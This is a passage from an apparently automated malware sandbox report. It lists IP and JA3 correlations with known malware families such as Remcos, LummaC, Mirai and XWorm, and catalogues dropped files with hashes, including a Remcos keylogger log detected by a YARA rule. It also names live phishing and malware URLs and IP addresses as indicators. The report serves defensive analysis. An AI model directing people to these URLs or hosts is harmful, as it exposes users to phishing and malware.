                                                      https://shorturl.at/5LwA8Get hashmaliciousUnknownBrowse
                                                      • 172.67.69.88
                                                      8ObkdHP9Hq.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, StealcBrowse
                                                      • 104.21.53.8
                                                      CLOUDFLARENETUSSetup.exeGet hashmaliciousLummaCBrowse
                                                      • 104.21.55.124
                                                      maizu v1.4.exeGet hashmaliciousLummaCBrowse
                                                      • 188.114.97.3
                                                      AimBot.exeGet hashmaliciousLummaCBrowse
                                                      • 172.67.178.50
                                                      injcheat.exeGet hashmaliciousLummaCBrowse
                                                      • 188.114.96.3
                                                      VX7fQ2wEzC.exeGet hashmaliciousSnake KeyloggerBrowse
                                                      • 188.114.96.3
                                                      file.exeGet hashmaliciousLummaCBrowse
                                                      • 172.67.206.204
                                                      p7SnjaA8NN.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, Stealc, VidarBrowse
                                                      • 172.67.206.204
                                                      file.exeGet hashmaliciousLummaCBrowse
                                                      • 172.67.206.204
                                                      https://shorturl.at/5LwA8Get hashmaliciousUnknownBrowse
                                                      • 172.67.69.88
                                                      8ObkdHP9Hq.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, StealcBrowse
                                                      • 104.21.53.8
                                                      RCS-RDS73-75DrStaicoviciROna.elfGet hashmaliciousMiraiBrowse
                                                      • 85.120.111.189
                                                      na.elfGet hashmaliciousMiraiBrowse
                                                      • 85.120.111.153
                                                      na.elfGet hashmaliciousMiraiBrowse
                                                      • 85.120.111.153
                                                      na.elfGet hashmaliciousMiraiBrowse
                                                      • 85.120.111.199
                                                      z3hir.x86.elfGet hashmaliciousMiraiBrowse
                                                      • 79.116.103.93
                                                      zR4aIjCuRs.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      • 85.120.16.93
                                                      yakov.mips.elfGet hashmaliciousMiraiBrowse
                                                      • 84.232.192.12
                                                      novo.spc.elfGet hashmaliciousMirai, MoobotBrowse
                                                      • 79.117.211.230
                                                      Enclosed_PO4376630092024_Request_Specifications_Drawings_jpg.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      • 85.120.16.93
                                                      Awb_Shipping_Invoice_docs_001700720242247820020031808174CN18003170072024.bat.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      • 85.120.16.93

                                                      JA3 Fingerprints

                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      3b5074b1b5d032e5620f69f9f700ff0e1c8DbXc5r0.exeGet hashmaliciousXWormBrowse
                                                      • 85.120.16.93
                                                      • 172.67.19.24
                                                      • 188.114.96.3
                                                      Camtech_Korea_Invoice_2024.htmlGet hashmaliciousHTMLPhisherBrowse
                                                      • 85.120.16.93
                                                      • 172.67.19.24
                                                      • 188.114.96.3
                                                      e4L9TXRBhB.exeGet hashmaliciousXWormBrowse
                                                      • 85.120.16.93
                                                      • 172.67.19.24
                                                      • 188.114.96.3
                                                      CI7IM149dR.exeGet hashmaliciousXWormBrowse
                                                      • 85.120.16.93
                                                      • 172.67.19.24
                                                      • 188.114.96.3
                                                      YirR3DbZQp.exeGet hashmaliciousXWormBrowse
                                                      • 85.120.16.93
                                                      • 172.67.19.24
                                                      • 188.114.96.3
                                                      qtYuyATh0U.exeGet hashmaliciousXWormBrowse
                                                      • 85.120.16.93
                                                      • 172.67.19.24
                                                      • 188.114.96.3
                                                      http://www.ngdhqw.blogspot.de/Get hashmaliciousGRQ ScamBrowse
                                                      • 85.120.16.93
                                                      • 172.67.19.24
                                                      • 188.114.96.3
                                                      http://milumuduli.github.io/netflix-templateGet hashmaliciousHTMLPhisherBrowse
                                                      • 85.120.16.93
                                                      • 172.67.19.24
                                                      • 188.114.96.3
                                                      http://hasnat22.github.io/Netflix-CloneGet hashmaliciousHTMLPhisherBrowse
                                                      • 85.120.16.93
                                                      • 172.67.19.24
                                                      • 188.114.96.3
                                                      http://hassan6077224.github.io/netflixclonetechtitansGet hashmaliciousHTMLPhisherBrowse
                                                      • 85.120.16.93
                                                      • 172.67.19.24
                                                      • 188.114.96.3

                                                      Dropped Files

                                                      ⊘No context

                                                      Created / dropped Files

                                                      C:\ProgramData\remcos\logs.dat

                                                      Download File
                                                      Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):336
                                                      Entropy (8bit):3.3031083536783252
                                                      Encrypted:false
                                                      SSDEEP:6:6lJWyb5YcIeeDAlMlJWXAbWAAe5UlJWq6lR1SlJWEAbWAv:6lJBecmlJGAbWFe5UlJL6clJ+bW+
                                                      MD5:9CB205FAEFC552F9EB96C1A19FD1D010
                                                      SHA1:F266E1CCE28BD7242729AC5912576218029DDED0
                                                      SHA-256:1BCEAEFDA5E0A38FA2E2AED0AB14F071ABBBD88835821272AF784AAB6983C521
                                                      SHA-512:3ABCF692E9F813C2A97A87B70D4B72E0B806F796E5E6B0735992F5FA5BFABF0890E51DFA29D21F89C4FFE7E8B7EA9791152C82A1F3A980D521D3696CB95CA0E4
                                                      Malicious:true
                                                      Yara Hits:
                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\logs.dat, Author: Joe Security
                                                      Preview:....[.2.0.2.4./.1.0./.0.7. .0.1.:.1.0.:.1.9. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.2.0.2.4./.1.0./.0.7. .0.1.:.1.0.:.1.9. .P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.....[.2.0.2.4./.1.0./.0.7. .0.1.:.1.0.:.2.1. .R.u.n.].........[.2.0.2.4./.1.0./.0.7. .0.1.:.1.0.:.2.3. .P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

                                                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):9434
                                                      Entropy (8bit):4.928515784730612
                                                      Encrypted:false
                                                      SSDEEP:192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
                                                      MD5:D3594118838EF8580975DDA877E44DEB
                                                      SHA1:0ACABEA9B50CA74E6EBAE326251253BAF2E53371
                                                      SHA-256:456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
                                                      SHA-512:103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
                                                      Malicious:false
                                                      Preview:PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

                                                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):64
                                                      Entropy (8bit):1.1940658735648508
                                                      Encrypted:false
                                                      SSDEEP:3:NlllulL4w/l/lZ:NllUMwl/
                                                      MD5:5E4245540CA0496B6A4E15149DB9B371
                                                      SHA1:6F912443CDFD9F0C474E2ACC755E982C5E3CF8BB
                                                      SHA-256:6892D98C8FEF52384104FB8712A0E1DA43C1B5CA8E7E32CF33200354E2FBC522
                                                      SHA-512:1E61844BED5A7A30C6DE358CC6E351FFE6F783F27B5FAC2C4E71C2F9047D84C396C91E2B3264F043D03C41AAB179C7ADD3408AD68C966C1299827363DC3AF4B0
                                                      Malicious:false
                                                      Preview:@...e................................................@..........

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bytbe0lu.5x0.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dqr0t5qa.y3l.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fburmymg.it4.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ffsnp4v2.wlp.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fgj3icwo.enj.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hqqzfiec.rje.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ivmmka1i.tbz.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kws1ttef.yuv.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mc0mzrig.tcg.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mseq1frs.s2g.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nuvumnvz.nyk.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pqsn33sm.4kg.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rhjyf0vm.thl.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_supggpli.nfi.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t5535bd5.seh.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xhhxubmg.4tp.psm1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xqtebzwe.2vy.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xrg05ose.01x.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yfqcp1xy.2sm.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zu42j01z.amv.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with no line terminators
                                                      Category:dropped
                                                      Size (bytes):60
                                                      Entropy (8bit):4.038920595031593
                                                      Encrypted:false
                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                      Malicious:false
                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):6224
                                                      Entropy (8bit):3.724365531945434
                                                      Encrypted:false
                                                      SSDEEP:96:Ubi3CoTgkvhkvCCte9YlXnSHMMYlXn0HM6:UbAAeYloYlY
                                                      MD5:4B3ABC9A87B13CD5C15DF73BA0559909
                                                      SHA1:0D6EB4DFF987CE8CE06538457738690329268329
                                                      SHA-256:72985F38D128915E3313C1460290FBF0B6E8C1C447535CC871686F47DBAE707B
                                                      SHA-512:CDB9FC7427650A91255DCE286F40F59E1519C581465B6E2648EE41256A041462041D7C76BB4C4779A9CC0BFDEA3FC410CF4F3CB9DD0F2E81284F1F9C8B53610C
                                                      Malicious:false
                                                      Preview:...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...c8."w....k.2w.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2GY<)...........................^.A.p.p.D.a.t.a...B.V.1.....GYD)..Roaming.@......EW<2GYD)..../......................f .R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2GY7)....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2GY7)....2.....................UZ..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2GY7)....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2GY7)....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

